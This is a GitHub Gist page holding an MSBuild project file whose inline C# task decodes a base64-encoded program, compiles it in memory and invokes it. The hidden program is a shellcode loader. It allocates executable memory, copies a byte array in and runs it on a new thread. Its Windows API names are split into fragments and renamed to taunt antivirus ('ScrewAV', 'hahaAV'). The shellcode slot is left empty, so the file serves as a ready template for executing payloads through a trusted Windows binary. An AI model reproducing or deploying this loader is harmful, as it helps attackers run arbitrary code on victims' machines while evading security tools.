-
-
Save luxcupitor/e41e7a89f9e26ad3bb44cdddd8117a6f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> | |
<Target Name="Business"> | |
<BusinessTime /> | |
</Target> | |
<UsingTask | |
TaskName="BusinessTime" | |
TaskFactory="CodeTaskFactory" | |
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" > | |
<ParameterGroup/> | |
<Task> | |
<Using Namespace="System" /> | |
<Using Namespace="System.Runtime.InteropServices" /> | |
<Using Namespace="System.Reflection" /> | |
<Using Namespace="System.Text" /> | |
<Using Namespace="System.CodeDom.Compiler" /> | |
<Using Namespace="Microsoft.CSharp" /> | |
<Code Type="Fragment" Language="cs"> | |
<![CDATA[ | |
string strb64 = "dXNpbmcgU3lzdGVtOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpuYW1lc3BhY2UgQ3VzdG9tCnsKICAgIHB1YmxpYyBjbGFzcyBQcm9ncmFtCiAgICB7CiAgICAgICAgcHVibGljIHN0YXRpYyB2b2lkIE1haW4oKQogICAgICAgIHsKICAgICAgICAgICAgYnl0ZVtdIHNjID0gbmV3IGJ5dGVbXSB7IH0gLy9zaGVsbGNvZGUgZ29lcyBoZXJlLgoJCQkKICAgICAgICAgICAgVUludDMyIGZhID0gQVZCbG93cygwLCAoVUludDMyKXNjLkxlbmd0aCwgMHgxMDAwLCAweDQwKTsKICAgICAgICAgICAgTWFyc2hhbC5Db3B5KHNjLCAwLCAoSW50UHRyKShmYSksIHNjLkxlbmd0aCk7CiAgICAgICAgICAgIEludFB0ciBodCA9IEludFB0ci5aZXJvOwogICAgICAgICAgICBVSW50MzIgdGhyZWFkSWQgPSAwOwoKICAgICAgICAgICAgSW50UHRyIHBpbmZvID0gSW50UHRyLlplcm87CiAgICAgICAgICAgIGh0ID0gU2NyZXdBVigwLCAwLCBmYSwgcGluZm8sIDAsIHJlZiB0aHJlYWRJZCk7CgogICAgICAgICAgICBoYWhhQVYoaHQsIDB4RkZGRkZGRkYpOwogICAgICAgIH0KCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIiLCBFbnRyeVBvaW50PSJWaXIiICsgInR1YWxBIiArICJsbG9jIildCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIFVJbnQzMiBBVkJsb3dzKFVJbnQzMiBscFN0YXJ0QWRkciwgVUludDMyIHNpemUsIFVJbnQzMiBmbEFsbG9jYXRpb25UeXBlLCBVSW50MzIgZmxQcm90ZWN0KTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VyIiArICJuZWwzMiIsIEVudHJ5UG9pbnQ9IkNyZWF0ZSIgKyAiVGhyZWFkIildCiAgICAgICAgcHJpdmF0ZSBzdGF0aWMgZXh0ZXJuIEludFB0ciBTY3Jld0FWKFVJbnQzMiBscFRocmVhZEF0dHJpYnV0ZXMsIFVJbnQzMiBkd1N0YWNrU2l6ZSwgVUludDMyIGxwU3RhcnRBZGRyZXNzLCBJbnRQdHIgcGFyYW0sIFVJbnQzMiBkd0NyZWF0aW9uRmxhZ3MsIHJlZiBVSW50MzIgbHBUaHJlYWRJZCk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyIiwgRW50cnlQb2ludD0iV2FpdEYiICsgIm9yU2luIiArICJnbGVPYmplY3QiKV0KICAgICAgICBwcml2YXRlIHN0YXRpYyBleHRlcm4gVUludDMyIGhhaGFBVihJbnRQdHIgaEhhbmRsZSwgVUludDMyIGR3TWlsbGlzZWNvbmRzKTsKICAgIH0KfQo="; | |
string code = Encoding.UTF8.GetString(System.Convert.FromBase64String(strb64)); | |
CSharpCodeProvider prov = new CSharpCodeProvider(); | |
CompilerParameters parms = new CompilerParameters(); | |
parms.GenerateInMemory = true; | |
parms.GenerateExecutable = false; | |
CompilerResults results = prov.CompileAssemblyFromSource(parms, code); | |
Assembly assembly = results.CompiledAssembly; | |
Type program = assembly.GetType("Custom.Program"); | |
MethodInfo main = program.GetMethod("Main"); | |
main.Invoke(null, null); | |
]]> | |
</Code> | |
</Task> | |
</UsingTask> | |
</Project> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment